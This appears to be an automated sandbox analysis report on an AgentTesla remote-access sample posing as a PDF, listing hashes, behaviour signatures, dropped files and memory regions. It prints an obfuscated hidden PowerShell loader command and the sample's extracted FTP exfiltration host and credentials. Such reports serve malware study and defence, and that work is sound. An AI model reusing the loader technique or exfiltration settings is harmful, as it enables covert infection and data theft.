Analysis

  • max time kernel
    146s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20231130-en
  • resource tags

    arch:x64arch:x86image:win7-20231130-enlocale:en-usos:windows7-x64system
  • submitted
    09-12-2023 01:11

General

  • Target

    Sutarčių analizė-pdf.exe

  • Size

    711KB

  • MD5

    102714cb47ab0624d79ed174a8231ad6

  • SHA1

    8991d7808c89d2c6209322b20ea4a8b75f78fb44

  • SHA256

    0da1ad1d456b5b7a028efcbfd9c3ee45af7c6830c87c1e7469faa089dbb0fe7e

  • SHA512

    7467ec91c266be688bf97f92a72068bf3271b1c58bf7ded76fce89fa93a8c06d631727b68c4938df57dbab3f0a07a0f6820f3587e87155a77e9d424e288b9bf2

  • SSDEEP

    12288:twFGHEOFmZPT0TRoi+kXjhk5na5hylgimtdYM3O0V7bbnL:t5HEOOPOaMd4na2lgZtub0V7z

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.vvspijkenisse.nl
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    playingboyz231

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Sutarčių analizė-pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\Sutarčių analizė-pdf.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1764
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Preciosity=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Spdlammene\cirka\Buzzardlike\Mavepinerne\Profanenesses.Gru';$Besvorne=$Preciosity.SubString(54587,3);.$Besvorne($Preciosity)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2836
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        3⤵
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2268

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

    Filesize

    32B

    MD5

    a8ca1db6ae34f5e5c152094f44f92476

    SHA1

    9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

    SHA256

    1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

    SHA512

    e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

  • C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Colorimetric\Indtappende\Hngekjeeffekt\Fradragendes.Att

    Filesize

    306KB

    MD5

    4e478447d9bbee96f0f4363fa03f3646

    SHA1

    ccd297ac9497fda8c12fab076d1871f1241113e8

    SHA256

    3d957ab6b870abeabd8f1c19cb39ed6ca54b6cece2a7d8610826a64c67654fd5

    SHA512

    f1e7db8f2dbc147832c41bb95965cf8d8359b1980a433e9a8325e773d307310538f97349fd0d8ca3658184ea3d46eb5177125117c4b863f490f116938ba71320

  • C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Spdlammene\cirka\Buzzardlike\Mavepinerne\Profanenesses.Gru

    Filesize

    53KB

    MD5

    069fd38747b58c05cc92771b20ff6206

    SHA1

    be3b1d1460ac825103741964b76e1883f59fb8fa

    SHA256

    640d92dda0382f293796ccfc9c51d21da8c24bba7c8c12d8e189c9fdeb4dda64

    SHA512

    1f35e64354054a374215fb5013dcbd3835ae216a999e63736a6aeeb88184cce7c67801be09a9db3f830d50174ccb08d4afc67a21d47f3a889b279d781ba98b57

  • memory/2268-166-0x000000006FBD0000-0x0000000070C32000-memory.dmp

    Filesize

    16.4MB

  • memory/2268-164-0x0000000077850000-0x00000000779F9000-memory.dmp

    Filesize

    1.7MB

  • memory/2268-172-0x000000006F4E0000-0x000000006FBCE000-memory.dmp

    Filesize

    6.9MB

  • memory/2268-169-0x000000006F4E0000-0x000000006FBCE000-memory.dmp

    Filesize

    6.9MB

  • memory/2268-168-0x000000006FBD0000-0x000000006FC10000-memory.dmp

    Filesize

    256KB

  • memory/2268-167-0x0000000000D40000-0x0000000004AD9000-memory.dmp

    Filesize

    61.6MB

  • memory/2268-165-0x000000006FBD0000-0x0000000070C32000-memory.dmp

    Filesize

    16.4MB

  • memory/2836-159-0x0000000006370000-0x000000000A109000-memory.dmp

    Filesize

    61.6MB

  • memory/2836-163-0x0000000002630000-0x0000000002670000-memory.dmp

    Filesize

    256KB

  • memory/2836-162-0x0000000077A40000-0x0000000077B16000-memory.dmp

    Filesize

    856KB

  • memory/2836-161-0x00000000740E0000-0x000000007468B000-memory.dmp

    Filesize

    5.7MB

  • memory/2836-160-0x0000000077850000-0x00000000779F9000-memory.dmp

    Filesize

    1.7MB

  • memory/2836-151-0x00000000740E0000-0x000000007468B000-memory.dmp

    Filesize

    5.7MB

  • memory/2836-153-0x00000000740E0000-0x000000007468B000-memory.dmp

    Filesize

    5.7MB

  • memory/2836-158-0x0000000002DB0000-0x0000000002DB4000-memory.dmp

    Filesize

    16KB

  • memory/2836-152-0x0000000002630000-0x0000000002670000-memory.dmp

    Filesize

    256KB

  • memory/2836-154-0x0000000002630000-0x0000000002670000-memory.dmp

    Filesize

    256KB